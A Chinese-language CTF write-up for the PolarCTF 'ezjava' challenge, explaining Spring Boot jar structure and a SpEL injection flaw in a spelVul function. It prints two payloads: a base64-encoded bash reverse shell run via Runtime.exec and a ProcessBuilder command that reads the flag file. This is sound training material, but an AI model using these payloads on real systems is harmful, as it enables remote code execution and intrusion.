【PolarCTF】ezjava

可以使用IDEA加载
创建一件lib目录,然后把jar放进去,右键【添加为库】

点击确定

即可看到代码

也可以使用jd

基础知识

BOOT-INF:存放的是自己的项目代码和所有第三方依赖jar
BOOT-INF/classes:你写的代码编译后的class文件,yml/properties配置、静态资源、模板文件
BOOT-INF/lib:第三方依赖jar包
org.springframework.boot.loader:SpringBoot自定义类加载器
META-INF:jar自带的元信息目录,最重要的文件是MANIFEST.MF清单文件
SpringBoot 打包后的MANIFEST.MF里面会写两行关键配置:
Main-Class: org.springframework.boot.loader.JarLauncher Start-Class: com.xxx.你的项目主启动类

  • Main‑Class:告诉 JVM,java‑jar启动时入口是JarLauncher(loader 里面的类),不是你的 main。
  • Start‑Class:记录你自己写的 SpringBoot 主类,JarLauncher读到这个值,再反射调用你的 main 方法。
    Jar包的启动流程:
  1. 执行java -jar demo.jar,JVM 读取META‑INF/MANIFEST.MF,找到Main‑Class=JarLauncher
  2. JVM 运行org.springframework.boot.loader.JarLauncher
  3. JarLauncher 创建自定义类加载器,扫描加载BOOT‑INF/lib下所有嵌套 jar、BOOT‑INF/classes你的代码
  4. 读取Start‑Class,反射执行你项目的 main 函数,SpringBoot 应用正式跑起来。

SPEL注入漏洞

SpelExpressionParser函数

通过阅读代码可以看到spelVul函数接收一个ex参数
同时还实例化了一个SpelExpressionParser函数,并且对ex参数进行解析执行
那么我们就可以通过ex来进行任意命令执行

复制代码
public String spelVul(String ex) {
    // 创建SpEL表达式解析器对象
    ExpressionParser parser = new SpelExpressionParser();
    // 创建SpEL的运行求值上下文环境
    EvaluationContext evaluationContext = new StandardEvaluationContext();
    // 解析传入的字符串ex为SpEL表达式,在上下文执行,获取返回对象,转字符串
    String result = parser.parseExpression(ex).getValue(evaluationContext).toString();
    // 打印执行结果
    System.out.println(result);
    return result;
}

我们进行测试下,发现可以成功执行我们输入的表达式

下面是攻击的payload,由于靶机不出网,所以我们直接读取flag即可

复制代码
# 反弹shell
T(java.lang.Runtime).getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8zMzc0xMDcuMTEzLjIjJiE1MC85MDAyIIDA+JjE=}|{base64,-d}|{bash,-i}")
# 读取flag
new java.io.BufferedReader(new java.io.InputStreamReader(new ProcessBuilder(new String[]{"bash","-c","cat /app/flag*"}).start().getInputStream(), "gbk")).readLine()

这里注意要用Max hackbar这个插件发送才行,也不知道为啥,试了burp抓包和hackbar都是会400
Max hackbar: https://github.com/mr-bipolar/hackbar
浏览器用的FireFox Developer

相关推荐
网安蟹佬霸1 小时前
SSRF服务端请求伪造攻防实战:从内网穿透到云元数据利用
sql·web安全·网络安全·自动化·网安
白猫不黑2 小时前
AI Agent自动化渗透测试实战:从原理到红队实践
运维·人工智能·web安全·网络安全·信息安全·渗透测试·自动化
小网洞16 小时前
免费WPA无线握手包在线分析跑包网站
网络·网络安全·密码学·wps
sbjdhjd1 天前
CTF 技术复盘:从参数类型绕过到正则回溯 | Merry Christmas PHP CTF(gift.php & gift_plus.php)
安全·网络安全·云计算·php·ctf·红队·网络攻防
Chengbei111 天前
DSH渗透测试插件dsh-pentest全新升级!适配DeepSeek Harness,可视化探索链路,一键搭建轻量化AI渗透测试环境。
人工智能·web安全·网络安全·微信·小程序·系统安全·安全架构
Latticy2 天前
vulnhub系列靶机-mrRobot
web安全·网络安全·渗透测试
白猫不黑2 天前
网络安全/信息安全专业学习路线与入行指南:从大学到岗位的完整规划
网络·学习·安全·web安全·网络安全·黑客技术
xierui1231232 天前
AI Agent 隐私架构:本地化重点为什么是登录态与执行权限
java·人工智能·网络安全·架构
Chockmans2 天前
春秋云境CVE-2025-49113
安全·web安全·网络安全·网络攻击模型·安全威胁分析·春秋云境·cve-2025-49113